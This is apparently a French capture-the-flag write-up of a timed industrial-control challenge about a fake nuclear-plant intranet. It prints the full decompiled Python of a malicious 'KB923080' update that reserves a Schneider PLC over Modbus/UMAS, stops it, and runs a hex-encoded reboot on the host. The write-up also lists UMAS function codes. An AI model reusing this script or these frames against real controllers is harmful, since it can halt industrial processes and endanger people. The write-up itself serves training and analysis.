[OT] - Sauvez la centrale nucléaire !

Présentation

Quelques mots sur l’épreuve

Il s’agit d’une épreuves de rapidité sur le thème de l’OT.
Cette épreuve sera déclenché à la surprise des participants par les organisateurs. Le but de cette épreuve est de mettre les équipes face à une situation de gestion de crise dans laquelle ils devront s’organiser et réagir rapidement. La thématique de l’épreuve est :
  • Compromission d’un automate industriel
  • Reverse d’un malware industriel

Réglement

Une fois l’annonce du démarrage d’une épreuve de rapidité faite par les organisateurs, les participants auront 1 à 2 minutes pour se connecter à la plateforme Cyber Range avant que l’épreuve ne démarre. Ils auront ainsi au maximum 15 à 20 minutes pour résoudre l’épreuve (en fonction de la limite fixée par les organisateurs selon la difficulté de l’épreuve), cette dernière prendra fin une fois le flag de l’épreuve correspondante trouvé et soumis dans le portail de points.

Score

Une des particularités des épreuves de rapidité est que les équipes perdront des points tant qu’elles n’auront pas réussi à résoudre l’épreuve en question. La perte de points s’arrêtera également si le temps maximum alloué à la résolution d’une épreuve est atteint. La première équipe parvenant à résoudre l’épreuve se verra gratifier d’un bonus de points, contrairement aux autres équipes qui devront toutefois résoudre l’épreuve rapidement pour limiter leur perte de points.

Épreuve

📜 Contexte

Une centrale nucléaire subit une cyberattaque. La France est en danger !
La cause de ce problème serait l’exécution d’un malware sur nos automates de gestion des réacteurs.
Trouvez d’où vient le problème et remettez en état de marche la centrale ☢️

1️⃣ - Le jeu

Pour commencer, nous devions nous connecter à une interface web “NukeCloud”, une plateforme de collaboration sécurisé pour les ingénieurs nucléaires.
Le site nous met à disposition un “jeu” dans lequel il est possible de déplacer les carrés bleu et rouge.
Après avoir joué quelques secondes, on se rend compte que le jeu est inutile.
On se tourne rapidement vers le code source de la page :
  • 3 scripts js
  • 1 fichier CSS
  • Le jeu est géré via le script app.js
<!DOCTYPE html>
<html lang="en"><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta charset="utf-8">
<title>NukeCloud</title>
<script src="NukeCloud_fichiers/jquery.js"></script>
<script src="NukeCloud_fichiers/p5.js"></script>
<script src="NukeCloud_fichiers/app.js"></script>
<link rel="stylesheet" type="text/css" href="NukeCloud_fichiers/style.css">
</head>
<body>
<div style="text-align:center;margin-top:20px;margin-bottom:-10px">
<img src="NukeCloud_fichiers/logo.svg" width="150"></div>
<h1>NukeCloud</h1>
<div style="text-align:center;margin-top:-20px;font-size:20px">
<label>The secured collaboration platform for nuclear engineers.</label>
</div>
<div style="background:#EBEBEB;padding-top:10px;padding-bottom:20px;margin-top:20px">
<div id="container">
<h2>Please prove you are an engineer (or a hacker...) to continue:</h2>
<div id="view"><canvas id="defaultCanvas0" class="p5Canvas" style="width: 500px; height: 500px;" width="1000" height="1000"></canvas></div>
<div class="footer">
<div class="buttons">
<button id="resetButton">Reset</button>
</div>
</div>
</div>
</div>
</body></html>
On remarque dans la code de app.js, une fonction qui renvoie vers une page /home
new p5(sketch, 'view');
function win() {
window.location = location.origin + '/home';
}

2️⃣ - L’intranet de la centrale nucléaire

Grace à l’URL /home, nous accédons à un intranet contenant les post de plusieurs utilisateurs.

Post n°1

Un administrateur informatique qui informe qu’un malware circule sur internet et qu’il est important d’appliquer une mise à jour “KB923080”.
KB923080.pyc
2KB
Binary
Le fichier de mise à jour à télécharger est au format .pyc, il pèse 4Ko et contient quelques strings intéressantes :
  • une adresse ip → 192.168.95.2
  • Plusieurs chaines hexadécimal :
    • 7265626F6F74 → reboot
    • E2 00 00 00 14 00 5A 00 10 73 1F 00 00 0B 57 4F 52 4B 53 54 41 54 49 4F 4E → ?
    • 00 77 00 00 00 04 00 5A %02x 04 → ?
  • Des appels de fonctions vers du modbus et umas
file KB923080.pyc
KB923080.pyc: data
onosh@LAPTOP-GHC8KJ24:/mnt/e/EC2/IOT$ du -h KB923080.pyc
4.0K KB923080.pyc
onosh@LAPTOP-GHC8KJ24:/mnt/e/EC2/IOT$ strings KB923080.pyc
192.168.95.2i
replace
send
bytearray
fromhex)
content
socket
frame
KB923080.py
send_frame
recv)
recv_frame
7265626F6F74z
utf-8)
system
bytesr
decoder
clean
NzM02 E2 00 00 00 14 00 5A 00 10 73 1F 00 00 0B 57 4F 52 4B 53 54 41 54 49 4F 4E
00 77 00 00 00 04 00 5A %02x 04
int)
res_idr
reserve_plc_v15
__main__
00 00z
00 06Z
FF 00z
Unexpected error:)
timer
PLC_ADDRESSZ
PLC_PORTr
__name__Z
AF_INETZ
SOCK_STREAMZ
settimeoutZ
connectZ
transaction_idZ
protocol_identifier
lengthZ
unit_identifierZ
modbus_tcp_function_codeZ
reservation_idZ
umas_function_codeZ
umas_payloadr
print
close
Exception
<module>
Il est temps de décompiler ce binaire python (nous avons utlisé uncompyle6) :
KB923080.py
2KB
Text
Que fait ce script ?
uncompyle6 KB923080.pyc >KB923080.py
onosh@LAPTOP-GHC8KJ24:/mnt/e/EC2/IOT$ cat KB923080.py
# uncompyle6 version 3.8.0
# Python bytecode 3.8.0 (3413)
# Decompiled from: Python 3.8.10 (default, Mar 15 2022, 12:22:08)
# [GCC 9.4.0]
# Embedded file name: KB923080.py
# Compiled at: 2022-05-23 11:42:27
# Size of source mod 2**32: 1566 bytes
import os, sys, time, socket
PLC_ADDRESS = '192.168.95.2'
PLC_PORT = 502
def send_frame(content, socket):
frame = str(content.replace(' ', ''))
socket.send(bytearray.fromhex(frame))
def recv_frame(socket):
content = socket.recv(1024)
return content
def clean():
os.system(bytes.fromhex('7265626F6F74').decode('utf-8')) # execution de la commande reboot (et oui il ne faut pas executer n'importe quoi) :')
def reserve_plc_v15(socket):
frame = '02 E2 00 00 00 14 00 5A 00 10 73 1F 00 00 0B 57 4F 52 4B 53 54 41 54 49 4F 4E'
send_frame(frame, socket)
recv = recv_frame(socket)
res_id = recv.hex()[-2:]
frame = '00 77 00 00 00 04 00 5A %02x 04' % int(res_id, 16)
send_frame(frame, socket)
recv = recv_frame(socket)
return res_id
if __name__ == '__main__':
socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # création d'un socket
socket.settimeout(2)
try:
socket.connect((PLC_ADDRESS, PLC_PORT)) # connexion au PLC Schneider sur le port MODBUS TCP
transaction_id = '00 00' # déclaration d'un id de transaction pour la synchro entre le maitre et l'esclave
protocol_identifier = '00 00' # correspond au protocol modbus
length = '00 06'
unit_identifier = '00'
modbus_tcp_function_code = '5A' # code de fonction indiqué dans la doc
reservation_id = reserve_plc_v15(socket)
umas_function_code = '41' # UMAS Function Code Bx41 - STOP_PLC: Stops the PLC (cf doc Post n°3)
umas_payload = 'FF 00'
send_frame(transaction_id + protocol_identifier + length + unit_identifier + modbus_tcp_function_code + reservation_id + umas_function_code + umas_payload, socket) # envoie de la requête au PLC
recv = recv_frame(socket)
print(recv) # réception du résultat
socket.close()
clean()
except Exception as e:
try:
print('Unexpected error:', e)
clean() # en cas d'erreur
finally:
e = None
del e
# okay decompiling KB923080.pyc
Nous avons donc un script qui :
  • Si il fonctionne
    • Arrête le PLC Schneider
  • Si il ne fonctionne pas
    • Arrête le Master (la machine qui exécute le script) :troll:

Post n°2

Le schéma du prototype d’un réacteur, sans réel intérêt 😀

Post n°3

Une documentation technique qui est devenu illisible…
Pour travailler sur cette image, nous avons transformé le texte contenu dans l’image en fichier .txt via l’outil : https://www.ocr2edit.com.
Cet outil nous a permis de récupérer le contenu suivant.
Il semble être encodé via un système simple, du ROT.
HZNF cebgbpby (Havsvrq Zrffntvat Nccyvpngvba Freivprf) vf hfrq gb pbasvther naq zbavgbe gur
Fpuarvgre-Ryrpgevp CYPf. Vg vf onfrq ba gur jryy-xabja zbqohf cebgbpby naq hfrf bar bs gur erfreirq
Shapgvba Pbgrf fcrpvsvrq va gur Zbqohf Cebgbpby Fcrpvsvpngvba (Shapgvba Pbqr 90 be OK5N va
urkngrpvzny). Jura Fpuarvqre Ryrpgevp CYPf erprvir n zbqohf cnpxrg, vg purpxf vs gur Shapgvba Pbqr vf
OK5N (shapgvba 90) naq vs fb, fbzr fcrpvsvp yvoenevrf ner hfrq, bgurejvfr, gur zbqohf erdhrfg vf gerngrq
abeznyyl, ergheavat be zbqvsivat gur ferpvsvrq ertvfgre(f) be pbvy(f) bs gur CYP. Gur sbyybjvat vf n aba-
rkunhfgvir yvfg bs vzcyrzragrq HZNF shapgvba pbarf:
HZNF Shapgvba Pbqr Ok01 - VAVG_PBZZ: Vavgvnyvmr n HZNF pbzzhavpngvba
HZNF Shapgvba Pbqr 0k02 - ERNQ_VQ: Erdhrfg n CYP VQ
HZNF Shapgvba Pbqr 0k03 - ERNQ_CEBWRPG_VASB: Ernq Cebwrpg Vasbezngvba
HZNF Shapgvba Pbqr 0k04 - ERNG_CYP_VASB: Trg vagreany CYP Vasb
HZNF Shapgvba Pbqr 0k06 - ERNQG_PNEQ_VASB: Trg vagreany CYP FQ-Pneq Vasb
HZNF Shapgvba Pbqr OKON - ERCRNG: Fraqf onpx qngn frag gb gur CYP (hfrq sbe flapuebavmngvba)
HZNF Shapgvba Pbqr 0K10 - GNXR_CYP_ERFREINGVBA: Nffvta na "bjare" gb gur CYP
HZNF Shapgvba Pbgqr 0k11 - ERYRNFR_CYP_ERFREINGVBA: Eryrnfr gur erfreingvba bs n CYP
HZNF Shapgvba Pbqr OKk12 - XRRC_NYVIR: Xrre nyvir zrffntr
HZNF Shapgvba Pbqr 0k20 - ERNQ_ZRZBEL_OYBPX: Ernq n zrzbel oybpx bs gur CYP
HZNF Shapgvba Pbqr 0k22 - ERNQ_INEVNOYRF: Ernq Flfgrz ovgf, Flfgrz Jbeqf naq Fgengril inevnoyrf
HZNF Shapgvba Pbqr 0k23 - JEVGR_INEVNOYRF: Jevgr Flfgrz ovgf, Flfgrz Jbeqf naq Fgengrtl inevnoyrf
HZNF Shapgvba Pbqr 0k24 - ERNQ_PBVYF_ERTVFGREF: Ernq pbvyf naq ubyqvat ertvfgref sebz CYP
HZNF Shapgvba Pbqr 0k25 - JEVGR_PBVYF_ERTVFGREF: Jevgr pbvyf naq ubyqvat ertvfgref vagb CYP
HZNF Shapgvba Pbqr 0k30 - VAVGVNYVMR_HCYBNQ: Vavgvnyvmr Fgengritl hcybnq (pbcl sebz ratvarrevat
CP gb CYP)
HZNF Shapgvba Pbqr 0k31 - HCYBNG_OYBPX: Hcybnq (pbcl sebz ratvarrevat CP gb CYP) n fgengrtl oybpx
gb gur CYP
HZNF Shapgvba Pbqr 0k32 - RAQG_FGENGRTL_HCYBNQ: Svavfu fgengritl Hcybnq (pbel sebz ratvarrevat CP
gb CYP)
HZNF Shapgvba Pbqr 0k33 - VAVGVNYVMR_HCYBNQ: Vavgvnyvmr Fgengril qbjaybnq (pbcl sebz CYP gb
ratvarrevat CP)
HZNF Shapgvba Pbqr 0k34 - GBJAYBNG_OYBPX: Qbjaybnq (pbcl sebz CYP gb ratvarrevat CP) n fgengrtl
oybpx
HZNF Shapgvba Pbqr 0k35 - RAQG_FGENGRTL_QBJAYBNQ: Svavfu fgengrtl Gbjaybnq (pbcl sebz CYP gb
ratvarrevat CP)
HZNF Shapgvba Pbqr 0k39 - ERNQG_RGU_ZNFGRE_QNGN: Erngq Rgurearg Znfgre Qngn
HZNF Shapgvba Pbqr 0k40 - FGNEG_CYP: Fgnegf gur CYP
HZNF Shapgvba Pbqr Ok41 - FGBC_CYP: Fgbcf gur CYP
HZNF Shapgvba Pbqr 0K50 - ZBAVGBE_CYP: Zbavgbef inevnoyrf, Flfgrzf ovgf naq jbegf
HZNF Shapgvba Pbqr 0K58 - PURPX_CYP: Purpx CYP Pbaarpgvba fgnghf
HZNF Shapgvba Pbqr 0K70 - ERNQG_VB_BOWRPG: Ernq VB Bowrpg
HZNF Shapgvba Pbqr 0K71 - JEVGR_VB_BOWRPG: JevgrVB Bowrpg
HZNF Shapgvba Pbqr 0K73 - TRG_FGNGHF_ZBQHYR: Trg Fgnghf Zbqhyr
Il s’agissait en effet de ROT13, puisqu’après décodage on retrouve la documentation originale.
tr 'A-Za-z' 'N-ZA-Mn-za-m' < doc.txt
UMAS protocol (Unified Messaging Application Services) is used to configure and monitor the
Schneiter-Electric PLCs. It is based on the well-known modbus protocol and uses one of the reserved
Function Cotes specified in the Modbus Protocol Specification (Function Code 90 or BX5A in
hexatecimal). When Schneider Electric PLCs receive a modbus packet, it checks if the Function Code is
BX5A (function 90) and if so, some specific libraries are used, otherwise, the modbus request is treated
normally, returning or modifving the srecified register(s) or coil(s) of the PLC. The following is a non-
exhaustive list of implemented UMAS function cones:
UMAS Function Code Bx01 - INIT_COMM: Initialize a UMAS communication
UMAS Function Code 0x02 - READ_ID: Request a PLC ID
UMAS Function Code 0x03 - READ_PROJECT_INFO: Read Project Information
UMAS Function Code 0x04 - REAT_PLC_INFO: Get internal PLC Info
UMAS Function Code 0x06 - READT_CARD_INFO: Get internal PLC SD-Card Info
UMAS Function Code BXBA - REPEAT: Sends back data sent to the PLC (used for synchronization)
UMAS Function Code 0X10 - TAKE_PLC_RESERVATION: Assign an "owner" to the PLC
UMAS Function Cotde 0x11 - RELEASE_PLC_RESERVATION: Release the reservation of a PLC
UMAS Function Code BXx12 - KEEP_ALIVE: Keer alive message
UMAS Function Code 0x20 - READ_MEMORY_BLOCK: Read a memory block of the PLC
UMAS Function Code 0x22 - READ_VARIABLES: Read System bits, System Words and Stratevy variables
UMAS Function Code 0x23 - WRITE_VARIABLES: Write System bits, System Words and Strategy variables
UMAS Function Code 0x24 - READ_COILS_REGISTERS: Read coils and holding registers from PLC
UMAS Function Code 0x25 - WRITE_COILS_REGISTERS: Write coils and holding registers into PLC
UMAS Function Code 0x30 - INITIALIZE_UPLOAD: Initialize Stratevgy upload (copy from engineering
PC to PLC)
UMAS Function Code 0x31 - UPLOAT_BLOCK: Upload (copy from engineering PC to PLC) a strategy block
to the PLC
UMAS Function Code 0x32 - ENDT_STRATEGY_UPLOAD: Finish stratevgy Upload (cory from engineering PC
to PLC)
UMAS Function Code 0x33 - INITIALIZE_UPLOAD: Initialize Stratevy download (copy from PLC to
engineering PC)
UMAS Function Code 0x34 - TOWNLOAT_BLOCK: Download (copy from PLC to engineering PC) a strategy
block
UMAS Function Code 0x35 - ENDT_STRATEGY_DOWNLOAD: Finish strategy Townload (copy from PLC to
engineering PC)
UMAS Function Code 0x39 - READT_ETH_MASTER_DATA: Reatd Ethernet Master Data
UMAS Function Code 0x40 - START_PLC: Starts the PLC
UMAS Function Code Bx41 - STOP_PLC: Stops the PLC
UMAS Function Code 0X50 - MONITOR_PLC: Monitors variables, Systems bits and worts
UMAS Function Code 0X58 - CHECK_PLC: Check PLC Connection status
UMAS Function Code 0X70 - READT_IO_OBJECT: Read IO Object
UMAS Function Code 0X71 - WRITE_IO_OBJECT: WriteIO Object
UMAS Function Code 0X73 - GET_STATUS_MODULE: Get Status Module
Dans cette documentation, nous retrouvons une vingtaine de code de fonction UMAS.
Mais qu’est ce que UMAS ?
Le protocole UMAS (Unified Messaging Application Services) est utilisé pour configurer et surveiller les Automates Schneiter-Electric.
Il est basé sur le protocole modbus.
Lorsque les automates Schneider Electric reçoivent un paquet modbus, ils vérifient si le code de fonction est BX5A (fonction 90) et si oui, certaines bibliothèques spécifiques sont utilisées, sinon, la requête modbus est traitée normalement, en retournant ou en modifiant le(s) registre(s) ou bobine(s) spécifié(s) de l'automate.

Post n°4

Un message d’un employé de la centrale à ses collègues disant qu’il a eu des problèmes avec un outil qui demande en prérequis une ancienne version de python. Docker semble corriger le problème…

3️⃣ - Sauver la centrale nucléaire

L’objectif est maintenant de sauver la centrale en exécutant le script mais cette fois ci en démarrant la centrale et sans éteindre notre propre machine.
Nous avons donc commenté la fonction clean pour protéger notre Master des Exceptions.
def clean():
# os.system(bytes.fromhex('7265626F6F74').decode('utf-8'))
pass
Puis nous avons cherché dans la documentation le code de fonction pour démarrer le PLC :
UMAS Function Code 0x40 - START_PLC: Starts the PLC
Il suffisait alors de remplacer “41” par “40”
umas_function_code = '40'
Après avoir executé le script sur le PLC Schneider, on récupère le flag :
FLAG{251AE793494B6347E00E94265A0586D3}